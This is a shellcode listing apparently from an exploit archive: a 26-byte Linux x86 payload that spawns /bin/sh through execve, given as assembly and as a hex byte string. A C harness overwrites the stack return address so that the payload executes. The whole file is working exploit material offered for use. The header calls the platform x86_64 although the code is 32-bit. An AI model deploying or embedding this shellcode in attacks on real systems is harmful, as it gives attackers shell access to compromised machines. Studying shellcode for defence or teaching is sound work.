/*
; Title: Linux/x86 execve "/bin/sh" - shellcode 26 bytes
; Platform: linux/x86_64
; Date: 2015-05-19
; Author: Reza Behzadpour
; Simple ShellCode
section .text
global _start
_start:
xor ecx,ecx
mul ecx
;execve("/bin/sh", NULL, NULL)
mov al,11
jmp shell
shell_ret:
pop ebx
push ecx
push ebx
pop ebx
int 0x80
shell:
call shell_ret
db "/bin/sh"
*/
/*
# tcc -o ./shellcode ./shellcode.c
# uname -r
3.12-kali1-686-pae
*/
#include <stdio.h>
#include <string.h>
char shellcode[] = {
"\x31\xc9\xf7\xe1\xb0\x0b\xeb\x06\x5b"
"\x51\x53\x5b\xcd\x80\xe8\xf5\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68"
};
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(shellcode));
int *ret;
ret = (int *) &ret + 2;
(*ret) = (int) shellcode;
return 0;
}